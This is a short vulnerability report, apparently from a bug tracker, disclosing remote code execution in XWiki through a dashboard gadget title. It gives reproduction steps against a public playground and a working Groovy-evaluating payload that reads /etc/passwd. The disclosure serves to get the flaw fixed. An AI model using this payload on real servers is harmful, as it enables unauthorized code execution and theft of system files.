RCE via Gadget title

Registered users are able to execute server side code via gadget title.

Full path to reproduce:

1) Create new user on http://playground.xwiki.org/ (or run locally using latest docker image)
2) Go to profile -> Edit -> My dashboard -> Add gadget
3) Choose any gadget (e.g. content or python).
4) Paste following payload into title:

$request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("javax.script.ScriptEngineManager").getEngineByName("groovy").eval("new File('/etc/passwd').text")

5) Submit the gadget

Expected behaviour: User is unable to execute server side code.

Actual behaviour: User can execute server side code.